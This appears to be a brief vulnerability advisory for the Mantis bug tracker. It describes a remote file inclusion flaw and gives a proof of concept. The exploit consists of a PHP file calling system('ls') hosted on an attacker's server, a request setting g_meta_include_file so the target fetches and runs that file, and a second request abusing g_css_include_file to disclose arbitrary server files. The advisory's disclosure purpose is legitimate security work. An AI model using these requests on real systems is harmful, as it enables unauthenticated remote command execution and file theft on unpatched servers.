Mantis Configuration Remote File Include Command Execution Vulnerability

Mantis Configuration Remote File Include Command Execution Vulnerability

The following proof-of-concept was provided:

The attacker may create the following file (listings.txt) on a server they have access to:

<?php
system('ls');
exit;
?>

And then cause it to be included with the following request:

http://target/mantis/login_page.php?g_meta_include_file=http://attackershost/listings.txt

Any Mantis script that outputs something is sufficient. However, login.php does not require authentication to be accessed.

The following request will disclose arbitrary webserver readable files:

http://target/mantis/login_page.php?g_css_include_file=arbitraryfile